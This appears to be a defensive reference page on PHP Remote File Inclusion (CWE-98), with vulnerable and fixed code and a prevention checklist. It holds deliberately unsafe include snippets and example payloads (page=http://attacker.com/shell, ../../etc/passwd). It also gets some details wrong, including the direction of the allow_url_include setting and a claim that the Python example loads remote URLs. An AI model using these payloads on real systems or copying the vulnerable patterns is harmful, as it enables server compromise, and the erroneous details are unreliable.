Weakness reference
CWE-98

PHP Remote File Inclusion

Remote File Inclusion RFI occurs when a PHP application uses untrusted input to determine which file to include or require, allowing an attacker to load and…

01Summary

Remote File Inclusion (RFI) occurs when a PHP application uses untrusted input to determine which file to include or require, allowing an attacker to load and execute malicious code from a remote server. This is a critical vulnerability because it grants an attacker direct code execution on the target server with the same privileges as the web application.

02How It Happens

PHP's include() and require() statements are designed to load and execute code from local files. However, when the file path is constructed from user-supplied input without validation, an attacker can provide a URL pointing to a malicious script hosted on their own server. PHP will fetch and execute that remote script as if it were part of the application. The vulnerability typically arises when developers assume input will always be a local filename, or when they disable PHP security settings like allow_url_include.

03Real-World Impact

Successful RFI exploitation results in arbitrary code execution on the server. An attacker can read sensitive files, modify or delete data, create backdoors for persistent access, pivot to internal systems, or use the compromised server to attack other targets. The impact is equivalent to a complete server compromise.

04Vulnerable & Fixed Patterns

Vulnerable pattern
# Python example using a web framework pattern
import importlib.util

user_page = request.args.get('page')
# Directly using user input to construct module path
spec = importlib.util.spec_from_file_location("module", f"/var/www/pages/{user_page}.py")
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)

Why it's vulnerable:
The page parameter is directly interpolated into the file path without validation, allowing an attacker to supply a path like ../../etc/passwd or (in some configurations) a remote URL.

Fixed pattern
import importlib.util
import os

user_page = request.args.get('page', 'home')
# Allowlist of permitted pages
allowed_pages = {'home', 'about', 'contact', 'faq'}

if user_page not in allowed_pages:
    user_page = 'home'

safe_path = os.path.join('/var/www/pages', user_page + '.py')
spec = importlib.util.spec_from_file_location("module", safe_path)
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
Vulnerable pattern
<?php
// User input directly used in include
$page = $_GET['page'];
include($page . '.php');
?>

Why it's vulnerable:
An attacker can pass page=http://attacker.com/shell (if allow_url_include is enabled) or page=../../etc/passwd to load arbitrary files or remote code.

Fixed pattern
<?php
// Allowlist of permitted pages
$allowed_pages = array('home', 'about', 'contact', 'faq');
$page = isset($_GET['page']) ? $_GET['page'] : 'home';

// Validate against allowlist
if (!in_array($page, $allowed_pages, true)) {
    $page = 'home';
}

// Construct safe path
$file_path = dirname(__FILE__) . '/pages/' . $page . '.php';

// Verify file exists and is within expected directory
if (file_exists($file_path) && strpos(realpath($file_path), realpath(dirname(__FILE__) . '/pages/')) === 0) {
    include($file_path);
} else {
    include(dirname(__FILE__) . '/pages/home.php');
}
?>

05Prevention Checklist

Use an allowlist:
Maintain a hardcoded list of permitted page names and reject anything else.
Disable remote URL inclusion:
Set allow_url_include = Off in php.ini to prevent loading files from HTTP/FTP URLs.
Validate file paths:
Use realpath() to resolve the full path and verify it stays within your intended directory.
Avoid dynamic includes:
Prefer routing logic (e.g., a switch statement or router class) over dynamic file inclusion whenever possible.
Sanitize and validate input:
Even with an allowlist, validate that input matches expected format (alphanumeric, no slashes).
Use absolute paths:
Always construct file paths using absolute directory paths, never relative paths based on user input.

06Signs You May Already Be Affected

Check your web server logs for unusual GET or POST requests containing URL-like parameters (e.g., page=http://, file=ftp://, or path traversal sequences like ../). Look for unexpected PHP files in your web root or temporary directories, or for outbound connections from your server to unfamiliar IP addresses. Review access logs for requests to sensitive files like /etc/passwd or wp-config.php.

07Related Recent Vulnerabilities